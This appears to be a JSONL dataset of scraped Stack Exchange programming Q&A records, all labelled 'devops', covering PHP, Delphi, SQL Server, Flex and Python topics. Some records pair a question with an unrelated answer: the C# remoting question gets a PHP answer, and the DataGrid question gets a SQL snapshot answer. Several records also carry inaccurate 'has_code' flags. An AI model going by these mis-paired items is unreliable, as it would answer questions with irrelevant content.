{"id": "hf_840f90df66d9", "question": "<p>The two connection limit can be particularly troublesome when you have multiple tabs open simultaneously.  Besides \"ignore the problem,\" what coping mechanisms have you seen used to get multiple tabs both doing heavily interactive Ajax despite the two connection limit?</p>\n", "question_body": "", "answer": "The two connection limit is a \"suggestion\" and this\narticle\ndescribes how to get around it where possible.  Other Firefox configuration is discussed on this about the\nabout:config\ncapability in Firefox.\nAlso, if you own the website, you can tweak the performance of the site using suggestions form this\nbook\nfrom the Chief Performance Yahoo.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:42.621647"}
{"id": "hf_c7f9e49462e1", "question": "<p>I installed both the Delphi 2009 trial and actual release via the web installer when I received them and experienced the same errors when installing both.</p>\n\n<p>Both times it appears that the core web installer failed when it went to spawn the additional install packages for boost, documentation and dbtools.  (It brought up a findfile dialog asking for a setup.msi that didn't exist on my machine).  When cancelling out of this, the installer reported a fatal error.</p>\n\n<p>The uninstaller did not appear in my program list, and would did not launch from the installation folder.</p>\n\n<p>Future attempts to bring up the installer had it in a state where it thought Delphi 2009 was already installed and it wouldn't correct or repair or uninstall it.</p>\n", "question_body": "", "answer": "The problems seem to originate with the web installer not having all the files needed.\nDownload the 2009 ISO:\nhttp://cc.codegear.com/item/26049\nMounted it using this free tool from Microsoft:\nhttp://download.microsoft.com/download/7/b/6/7b6abd84-7841-4978-96f5-bd58df02efa2/winxpvirtualcdcontrolpanel_21.exe\n(You can burn it to a DVD too)\nThen reran the installer.  At this point, both the repair and uninstall worked.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:42.645774"}
{"id": "hf_2fd6b6dc6f92", "question": "<p>How do I write a clean implementation of the strategy pattern in Perl? I want to do it in a way that leverages Perl's features.</p>\n", "question_body": "", "answer": "Use sub references, and closures. A good perlish example of this\n```\n```\nsort { lc($a) cmp lc($b) } @items\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:42.683430"}
{"id": "hf_a5e2e27e9bb8", "question": "<p>What are some reasons why PHP would force errors to show, no matter what you tell it to disable?</p>\n\n<p>I have tried </p>\n\n<pre><code>error_reporting(0);\nini_set('display_errors', 0); \n</code></pre>\n\n<p>with no luck.</p>\n", "question_body": "", "answer": "Note the caveat in the manual at\nhttp://uk.php.net/error_reporting\n:\nMost of E_STRICT errors are evaluated at the compile time thus such errors are not reported in the file where error_reporting is enhanced to include E_STRICT errors (and vice versa).\nIf your underlying system is configured to report E_STRICT errors, these may be output before your code is even considered. Don't forget, error_reporting/ini_set are runtime evaluations, and anything performed in a \"before-run\" phase will not see their effects.\nBased on your comment that your error is...\nParse error: syntax error, unexpected T_VARIABLE, expecting ',' or ';' in /usr/home/REDACTED/public_html/dev.php on line 11\nThen the same general concept applies. Your code is never run, as it is syntactically invalid (you forgot a ';'). Therefore, your change of error reporting is never encountered.\nFixing this requires a change of the system level error reporting. For example, on Apache you may be able to place...\nphp_value error_reporting 0\nin a .htaccess file to suppress them all, but this is system configuration dependent.\nPragmatically, don't write files with syntax errors :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:42.719633"}
{"id": "hf_bc583ec8db0d", "question": "<p>I'm toying with my first remoting project and I need to create a RemotableType DLL. I know I can compile it by hand with csc, but I wonder if there are some facilities in place on Visual Studio to handle the Remoting case, or, more specificly, to tell it that a specific file should be compiled as a .dll without having to add another project to a solution exclusively to compile a class or two into DLLs. </p>\n\n<p>NOTE: I know I should toy with my first WCF project, but this has to run on 2.0.</p>\n", "question_body": "", "answer": "Note the caveat in the manual at\nhttp://uk.php.net/error_reporting\n:\nMost of E_STRICT errors are evaluated at the compile time thus such errors are not reported in the file where error_reporting is enhanced to include E_STRICT errors (and vice versa).\nIf your underlying system is configured to report E_STRICT errors, these may be output before your code is even considered. Don't forget, error_reporting/ini_set are runtime evaluations, and anything performed in a \"before-run\" phase will not see their effects.\nBased on your comment that your error is...\nParse error: syntax error, unexpected T_VARIABLE, expecting ',' or ';' in /usr/home/REDACTED/public_html/dev.php on line 11\nThen the same general concept applies. Your code is never run, as it is syntactically invalid (you forgot a ';'). Therefore, your change of error reporting is never encountered.\nFixing this requires a change of the system level error reporting. For example, on Apache you may be able to place...\nphp_value error_reporting 0\nin a .htaccess file to suppress them all, but this is system configuration dependent.\nPragmatically, don't write files with syntax errors :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:42.743541"}
{"id": "hf_14ee9b169dce", "question": "<p>I've been running into a peculiar issue with certain Java applications in the HP-UX environment.  </p>\n\n<p>The heap is set to -mx512, yet, looking at the memory regions for this java process using gpm, it shows it using upwards of 1.6GBs of RSS memory, with 1.1GB allocated to the DATA region.  Grows quite rapidly over a 24-48hour period and then slows down substantially, still growing 2MB every few hours. However, the Java heap shows no sign of leakage.</p>\n\n<p>Curious how this was possible I researched a bit and found this HP write-up on memory leaks in java heap and c heap: <a href=\"http://docs.hp.com/en/JAVAPERFTUNE/Memory-Management.pdf\" rel=\"nofollow noreferrer\">http://docs.hp.com/en/JAVAPERFTUNE/Memory-Management.pdf</a></p>\n\n<p>My question is what determines what is ran in the C heap vs the java heap, and for things that do not run through the java heap, how would you identify those objects being run on the C heap? Additionally does the java heap sit inside the C heap?</p>\n", "question_body": "", "answer": "My only guess with the figures you have given is a memory leak in the Java VM.  You might want to try one of the other VMs they listed in the paper you referred.  Another (much more difficult) alternative might be to compile the open java on the HP platform.\nSun's Java isn't 100% open yet, they are working on it, but I believe that there is one in sourceforge that is.\nJava also thrashes memory by the way.  Sometimes it confuses OS memory management a little (you see it when windows runs out of memory and asks Java to free some up, Java touches all it's objects causing them to be loaded in from the swapfile, windows screams in agony and dies), but I don't think that's what you are seeing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:42.781393"}
{"id": "hf_fcefd8e6d686", "question": "<p>Our application commonly used an ActiveX control to download and install our client on IE (XP and prior), however as our user base has drifted towards more Vista boxes with \"Protected Mode\" on, we are required to investigate.</p>\n\n<p>So going forward, is it worth the headache of trying to use the protected mode API?  Is this going to result in a deluge of dialog boxes and admin rights to do the things our app needs to do (write to some local file places, access some other applications, etc)?</p>\n\n<p>I'm half bent on just adding a non-browser based installer app that will do the dirty work of downloading and installing the client, if need be... this would only need to be installed once and in large corporate structures it could be pushed out by IT.</p>\n\n<p>Are there some other ideas I'm missing?</p>\n", "question_body": "", "answer": "Have you checked out Microsoft's\nClickOnce Deployment\n?\nIf I remember correctly you can embed a manifests which would help with dealing with protected modes automatically, saving you those headaches with the APIs.\nI believe ClickOnce is geared for the same thing your ActiveX installer was designed to do.\nSince you say your IT dept could push this out, I assume you could use this kind of technology as well.\nEven though you might not be writing applications on the .NET CLR, you can use Visual Studio to generate those manifest and installers for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:42.806217"}
{"id": "hf_59bae9b94e0a", "question": "<p>I would like to replicate this in python:</p>\n\n<pre><code>gvimdiff &lt;(hg cat file.txt) file.txt\n</code></pre>\n\n<p>(hg cat file.txt outputs the most recently committed version of file.txt)</p>\n\n<p>I know how to pipe the file to gvimdiff, but it won't accept another file:</p>\n\n<pre><code>$ hg cat file.txt | gvimdiff file.txt -\nToo many edit arguments: \"-\"\n</code></pre>\n\n<p>Getting to the python part...</p>\n\n<pre><code># hgdiff.py\nimport subprocess\nimport sys\nfile = sys.argv[1]\nsubprocess.call([\"gvimdiff\", \"&lt;(hg cat %s)\" % file, file])\n</code></pre>\n\n<p>When subprocess is called it merely passes <code>&lt;(hg cat file)</code> onto <code>gvimdiff</code> as a filename.</p>\n\n<p>So, is there any way to redirect a command as bash does?\nFor simplicity's sake just cat a file and redirect it to diff:</p>\n\n<pre><code>diff &lt;(cat file.txt) file.txt\n</code></pre>\n", "question_body": "", "answer": "There is also the commands module:\n```\n```\nimport commands\n\nstatus, output = commands.getstatusoutput(\"gvimdiff <(hg cat file.txt) file.txt\")\n```\n```\nThere is also the popen set of functions, if you want to actually grok the data from a command as it is running.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:42.880286"}
{"id": "hf_c8ae48d7d652", "question": "<p>How to create a DOM from a User's input in PHP5?</p>\n", "question_body": "", "answer": "I would use the DOM API that has been part of the core since 5. For an XML string $xml, you can build a DOM object with\n```\n```\n$dom = new DOMDocument();\n$dom->loadXML($xml);\n```\n```\nManipulate it with the rest of the DOM API, defined at\nhttp://uk.php.net/DOM", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:42.905604"}
{"id": "hf_56e5c87ff0c0", "question": "<p>What are the steps to estimating using function points?</p>\n\n<p>Is there a quick-reference guide of some sort out there?</p>\n", "question_body": "", "answer": "I took a conference session on Function Point Analysis a few years back.  There is a lot too it.  You can check out the\nFree Function Point Training Manual\nonline, the\nFundamentals of Function Points\n, or I suspect you can get a book on it at a computer store.\nYou might also check out the\nInternational Function Point Users Group\nand see if they have some resources or a local meeting for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:42.943932"}
{"id": "hf_a4afc3c29fb1", "question": "<p>How can I find out the date a MS SQL Server 2000 object was last modified?</p>\n\n<p>I need to get a list of all the views, procs, functions etc that were modified since Aug 15th.  In sysObjects I can see the date objects were created but I need to know when they were last altered.</p>\n\n<p>NB: this is an SQL 2000 database.</p>\n", "question_body": "", "answer": "Note that SQL Server actually does\nnot\nrecord the last modification date. It does not exist in any system tables.\nThe Schema Changes History report is actually constructed from the\nDefault Trace\n. Since many admins (and web hosts) turn that off, it may not work for you.\nBuck Woody had a good explanation of how this report works\nhere\n. The data is also temporary.\nFor this reason, you should never RELY on the Schema Changes History report. Alternatives:\nUse\nDDL Triggers\nto log all schema modification to a table of your choosing.\nEnforce a protocol where views and procs are never altered, they are only dropped and recreated. This means the created date will also be the last updated date (this does not work with tables obviously).\nVigilantly version your SQL objects and schema in source control.\n--\nEdit: saw that this is SQL 2000. That rules out Default Trace and DDL Triggers. You're left with one of the more tedious options I listed above.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:42.981831"}
{"id": "hf_b932ca7a2de7", "question": "<p>Using only ANSI C, what is the best way to, with fair certainty, determine if a C style string is either a integer or a real number (i.e float/double)?</p>\n", "question_body": "", "answer": "I suppose you could step through the string and check if there are any\n```\n.\n```\ncharacters in it.  That's just the first thing that popped into my head though, so I'm sure there are other (better) ways to be more certain.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:43.007743"}
{"id": "hf_eb6d352f489e", "question": "<p>I'd like to be able to open a TDataSet asynchronously in its own thread so that the main VCL thread can continue until that's done, and then have the main VCL thread read from that TDataSet afterwards. I've done some experimenting and have gotten into some very weird situations, so I'm wondering if anyone has done this before.</p>\n\n<p>I've seen some sample apps where a TDataSet is created in a separate thread, it's opened and then data is read from it, but that's all done in the separate thread. I'm wondering if it's safe to read from the TDataSet from the main VCL thread after the other thread opens the data source.</p>\n\n<p>I'm doing Win32 programming in Delphi 7, using TmySQLQuery from <a href=\"http://www.microolap.com/products/connectivity/mysqldac/\" rel=\"noreferrer\">DAC for MySQL</a> as my TDataSet descendant.</p>\n", "question_body": "", "answer": "I have seen it done with other implementations of TDataSet, namely in the\nAsta\ncomponents.  These would contact the server, return immediately, and then fire an event once the data had been loaded.\nHowever, I believe it depends very much on the component.  For example, those same Asta components could not be opened in a synchronous manner from anything other than the main VCL thread.\nSo in short, I don't believe it is a limitation of TDataSet per se, but rather something that is implementation specific, and I don't have access to the components you've mentioned.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:43.032541"}
{"id": "hf_667d6c2a7b6a", "question": "<p>How can I get a ASP.NET (inc MVC) application talking to a Flex UI over AMF.  I am wanting to push approx 100+ records around at a time and AMF would appear to be the way forward, but there doesn't appear to be anything obvious.</p>\n", "question_body": "", "answer": "If you're pressed for time, you can just use the RemoteObject to hit a compiled DLL  (like WebORB - its free for .NET, but you need a VS copy above Express to compile your classes that you want to expose to Flex)\nand Retrieve the object that way...\nObviously your objects should have a DAL in place or be generated so you can communicate with your database.\nBut i suggest using Cairngorm for any data intensive Flex application. It isn't simple and development won't feel as fast, but once you understand it, things go alot smoother and it just feels right. I could go into the details, but there are people that are much smarter than I am that have already explained it, in depth. Someone like yourself should be able to grasp the concepts pretty quickly.\nhere are the links to learning WebORB and Cairngorm:\nweborb :\nhttp://www.themidnightcoders.com/weborb/\ncairngorm :\nhttp://opensource.adobe.com/wiki/display/cairngorm/Cairngorm\nlearning Cairngorm :\nhttp://www.adobe.com/devnet/flex/articles/cairngorm_pt1.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:43.057661"}
{"id": "hf_246eb95caa4f", "question": "<p>I'm looking for a good 3D Mesh library</p>\n\n<ul>\n<li>Should be able to read popular formats (OFF, OBJ...)</li>\n<li>Should support both half-edge structure and a triangle soup</li>\n<li>Should be tolerant to faults and illegal meshes.</li>\n<li>Basic geometric operations - intersections, normal calculation, etc'</li>\n<li>Most importantly - Should not be convoluted with endless template and inheritance hierarchies.</li>\n</ul>\n\n<p>I've tried both CGAL and OpenMesh but both fail miserably in the last point.</p>\n\n<p>Specifically CGAL which is impossible to follow even with the most advanced code analysis tools.</p>\n\n<p>So far I'm seriously considering to pull my own.</p>\n\n<p>My preference is C++ but I'm open to other options.</p>\n", "question_body": "", "answer": "May I ask why the last point is a requirement?\nLibraries written for public consumption are designed to be as generic as possible so that it is usable by the widest possible audience.  In C++, this is often best done using templates.  It would suck tremendously if found a good library, only to discover it was useless for your purposes because it used floats instead of doubles.\nCGAL, for example, appears to have adopted the well-known and well-tested STL paradigm of writing generic and extensible C++ libraries.  This does indeed make it difficult to follow with code analysis tools; I doubt they're much good at following STL headers either.\nBut are you trying to use the library or modify it?  Either way, they seem to have some extremely high-quality documentation (e.g.\nKernel Manual\n) that should make it relatively simple to figure out what you need to do, without having to resort to reading their code.\nDisclaimer:  I know this isn't what you're asking for.  But I don't think what you're looking for exists.  It is\nextraordinarily\nrare to find open source code with documentation as good as what I've seen scanning through CGAL.  I would strongly suggest that you take another look at it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:43.244045"}
{"id": "hf_44547fab8936", "question": "<p>I'm using KVM to run a Windows virtual machine on my Linux box. Networking is accomplished through a tap device, hooked into a bridged Ethernet device, which allows the Windows VM to basically appear like a separate physical computer on my network. This is pretty nice.</p>\n\n<p>However, my understanding is that most, if not all, wireless drivers can't support bridging. I'd really like to be able to roam a little more freely while I'm working -- does anyone know of an effective workaround?</p>\n\n<p>User-mode networking won't work, as I have to use some Windows VPN software that wants lower-level networking access.</p>\n", "question_body": "", "answer": "I assume that you could configure your Windows guest to use the host as its default gateway, and set up NAT via the wireless interface on the host. So the signal flow would look like this:\nWindows software opens connections to a host on the internets.\nWindows routes the packet via the default gateway, i.e. the host Linux system.\nLinux does NAT magic and routes the packet via its normal routing table (which should use a default gateway via the wireless interface).\nI have never tried this in combination with bridging though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:43.296399"}
{"id": "hf_bbe8412d2256", "question": "<p>Does any know of a good calendar (not datepicker, but a BIG browsable calendar) plugin for one of the major javascript frameworks.  I'd prefer jQuery.</p>\n", "question_body": "", "answer": "You might want to send the guys at\njCalendar\na note. They were working on a Google Calendar-like jQuery plugin.  Project seems to have moved on, but they may be able to point you in the right direction.\nFrom their site:\nComing soon will be v1.0, which will allow for not only visually selecting dates but also for displaying them in both mini and full page calendar views, similar to that of Google Calendar.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:43.321154"}
{"id": "hf_124a8fbd8010", "question": "<p>How can I programmatically make a query in MS Access default to landscape when printed, specifically when viewing it as a PivotChart? I'm currently attempting this in MS Access 2003, but would like to see a solution for any version.</p>\n", "question_body": "", "answer": "The following function should do the trick:\n```\n```\nFunction SetLandscape()\n   Application.Printer.Orientation = acPRORLandscape\nEnd Function\n```\n```\nShould be able to call this from the autoexec function to ensure it always runs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:43.398924"}
{"id": "hf_1fbea99ed530", "question": "<p>What I'm talking about here are nested classes. Essentially, I have two classes that I'm modeling. A DownloadManager class and a DownloadThread class. The obvious OOP concept here is composition. However, composition doesn't necessarily mean nesting, right?</p>\n\n<p>I have code that looks something like this:</p>\n\n<pre><code>class DownloadThread:\n    def foo(self):\n        pass\n\nclass DownloadManager():\n    def __init__(self):\n        dwld_threads = []\n    def create_new_thread():\n        dwld_threads.append(DownloadThread())\n</code></pre>\n\n<p>But now I'm wondering if there's a situation where nesting would be better. Something like:</p>\n\n<pre><code>class DownloadManager():\n    class DownloadThread:\n        def foo(self):\n            pass\n    def __init__(self):\n        dwld_threads = []\n    def create_new_thread():\n        dwld_threads.append(DownloadManager.DownloadThread())\n</code></pre>\n", "question_body": "", "answer": "You might want to do this when the \"inner\" class is a one-off, which will never be used outside the\ndefinition\nof the outer class. For example to use a metaclass, it's sometimes handy to do\n```\n```\nclass Foo(object):\n    class __metaclass__(type):\n        ....\n```\n```\ninstead of defining a metaclass separately, if you're only using it once.\nThe only other time I've used nested classes like that, I used the outer class only as a namespace to group a bunch of closely related classes together:\n```\n```\nclass Group(object):\n    class cls1(object):\n       ...\n\n    class cls2(object):\n       ...\n```\n```\nThen from another module, you can import Group and refer to these as Group.cls1, Group.cls2 etc. However one might argue that you can accomplish exactly the same (perhaps in a less confusing way) by using a module.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:43.424920"}
{"id": "hf_8d89b3e7b0be", "question": "<p>Is there an effective tool to convert C# code to Java code?</p>\n", "question_body": "", "answer": "They don't convert directly, but it allows for interoperability between .NET and J2EE.\nhttp://www.mainsoft.com/products/index.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:43.480179"}
{"id": "hf_d49970764f51", "question": "<p>How do you use <code>gen_udp</code> in Erlang to do <a href=\"https://en.wikipedia.org/wiki/Multicast\" rel=\"nofollow noreferrer\">multicasting</a>? I know its in the code, there is just no documentation behind it. Sending out data is obvious and simple. I was wondering on how to add memberships. Not only adding memberships at start-up, but adding memberships while running would be useful too.</p>\n", "question_body": "", "answer": "Multicast is specified by IP Address\nIt's the same in erlang as for all languages.  The IP addresses 224.0.0.0 through 239.255.255.255 are multicast addresses.\nPick an address in that range, check that you're not overlapping an already assigned address, and you are good to go.\nhttp://www.iana.org/assignments/multicast-addresses", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:43.529898"}
{"id": "hf_eebdb2243ac5", "question": "<p>In SQL Server 2005, a snapshot of a database can be created that allows read-only access to a database, even when the database is in \"recovery pending\" mode.   One use case for this capability is in creating a reporting database that references a copy of a production database, which is kept current through log-shipping.    </p>\n\n<p>In this scenario, how can I implement security on the \"snapshot\" database that is different from the \"production\" source database?   </p>\n\n<p>For example, in the production database, all access to data is through stored procedures, while in the snapshot database users are allowed to select from table in the database for reporting purposes.    The problem the I see is that security for the snapshot database is inherited from the source database, and can not be changed because snapshots are strictly read-only.</p>\n", "question_body": "", "answer": "Are you able to manage permissions on this database?  Would adding a separate user who only has read access to a database be sufficient for this type of scenario?  This could be a read-only user on the main database, but is only effectively used on the snapshot db.\ni.e. Add a new user, readerMan5000 who is only given select access, to the database in question.  Then require users to authenticate through that new credential.\nNote to future commenters, you may want to read:\nhttp://www.simple-talk.com/sql/database-administration/sql-server-2005-snapshots/\nor\nhttp://msdn.microsoft.com/en-us/library/ms187054(SQL.90).aspx\nbefore you open your big mouth like me. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:43.555012"}
{"id": "hf_562342cccfce", "question": "<p>ASP.NET 1.1 - I have a DataGrid on an ASPX page that is databound and displays a value within a textbox. The user is able to change this value, then click on a button where the code behind basically iterates through each DataGridItem in the grid, does a FindControl for the ID of the textbox then assigns the .Text value to a variable which is then used to update the database. The DataGrid is rebound with the new values.</p>\n\n<p>The issue I'm having is that when assigning the .Text value to the variable, the value being retrieved is the original databound value and not the newly entered user value. Any ideas as to what may be causing this behaviour?</p>\n\n<p>Code sample:</p>\n\n<pre><code>foreach(DataGridItem dgi in exGrid.Items)\n{\n    TextBox Text1 = (TextBox)dgi.FindControl(\"TextID\");\n    string exValue = Text1.Text; //This is retrieving the original bound value not the newly entered value\n    // do stuff with the new value\n}\n</code></pre>\n", "question_body": "", "answer": "Are you able to manage permissions on this database?  Would adding a separate user who only has read access to a database be sufficient for this type of scenario?  This could be a read-only user on the main database, but is only effectively used on the snapshot db.\ni.e. Add a new user, readerMan5000 who is only given select access, to the database in question.  Then require users to authenticate through that new credential.\nNote to future commenters, you may want to read:\nhttp://www.simple-talk.com/sql/database-administration/sql-server-2005-snapshots/\nor\nhttp://msdn.microsoft.com/en-us/library/ms187054(SQL.90).aspx\nbefore you open your big mouth like me. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:43.579320"}
{"id": "hf_7bb39df0155f", "question": "<p>I have an image (mx) and i want to get the uint of the pixel that was clicked.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "A few minutes on the\nBitmapData LiveDoc Page\nwill take you where you need to go.  Once you have your image loaded into a Bitmap variable, you can access its BitmapData property.  Add a\nMouse Click Event\nListener to the image and then use\nBitmapData::getPixel\n.  The example for getPixel shows how to convert the uint response to an rgb hex code.\nHere's a modification of the Example given on the BitmapData page that worked for me (using mxmlc - YMMV):\n```\n```\npackage {\n    import flash.display.Bitmap;\n    import flash.display.BitmapData;\n    import flash.display.Loader;\n    import flash.display.Sprite;\n    import flash.events.Event;\n    import flash.events.MouseEvent;\n    import flash.net.URLRequest;\n\n    public class BitmapDataExample extends Sprite {\n        private var url:String = \"santa-drunk1.jpg\";\n        private var size:uint = 200;\n        private var image:Bitmap;\n\n        public function BitmapDataExample() {\n            configureAssets();\n        }\n\n        private function configureAssets():void {\n            var loader:Loader = new Loader();\n            loader.contentLoaderInfo.addEventListener(Event.COMPLETE, completeHandler);\n\n            var request:URLRequest = new URLRequest(url);\n            loader.load(request);\n            addChild(loader);\n        }\n\n        private function completeHandler(event:Event):void {\n            var loader:Loader = Loader(event.target.loader);\n            this.image = Bitmap(loader.content);\n\n            this.addEventListener(MouseEvent.CLICK, this.clickListener);\n        }\n\n        private function clickListener(event:MouseEvent):void {\n            var pixelValue:uint = this.image.bitmapData.getPixel(event.localX, event.localY)\n            trace(pixelValue.toString(16));\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:43.611567"}
{"id": "hf_d0701d5b6149", "question": "<p>What is the difference between publishing a website with visual studio and just copying the files over to the server?  Is the only difference that the publish files are pre-compiled?</p>\n", "question_body": "", "answer": "I believe you are correct in your assumption. It has been my experience that the only difference is that published files are compiled.\nVisual Studio® 2008 Web Deployment Projects\nis a nice enhancement for customizing your build scripts for both your Websites and Web Applications.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:43.635595"}
{"id": "hf_c9b2f2bf0eb7", "question": "<p>I have an xslt sheet with some text similar to below:</p>\n\n<pre><code>&lt;xsl:text&gt;I am some text, and I want to be bold&lt;/xsl:text&gt;\n</code></pre>\n\n<p>I would like some text to be bold, but this doesn't work.</p>\n\n<pre><code>&lt;xsl:text&gt;I am some text, and I want to be &lt;strong&gt;bold&lt;strong&gt;&lt;/xsl:text&gt;\n</code></pre>\n\n<p>The deprecated b tag doesn't work either. How do I format text within an xsl:text tag?</p>\n", "question_body": "", "answer": "Try this:\n```\n```\n<fo:inline font-weight=\"bold\"><xsl:text>Bold text</xsl:text></fo:inline>\n```\n```\nXSL-FO Tutoria: Inline Text\nFormatting\nXSL-FO inline Object", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:43.708994"}
{"id": "hf_06ae21515557", "question": "<p>More specifically I am trying to make the mailto component show within my template; the same way as an article does. </p>\n\n<p>By default the mailto component opens in a new window. So far I changed the code so it opens on the same window, but that way the whole template is gone.</p>\n\n<p>Any suggestions?</p>\n", "question_body": "", "answer": "I'm afraid I can't entirely follow your question - do you want to have a sign up form for membership or email notifications shown as an article? If so, then the easiest way is to install 'm2c' - the 'module to component' component. Then you can put any module (ie the sign up box) in the centre content area.\nThe m2c component can be found here:\nhttp://joomla.focalizaisso.com.br/en/componentes/index.php", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:43.734296"}
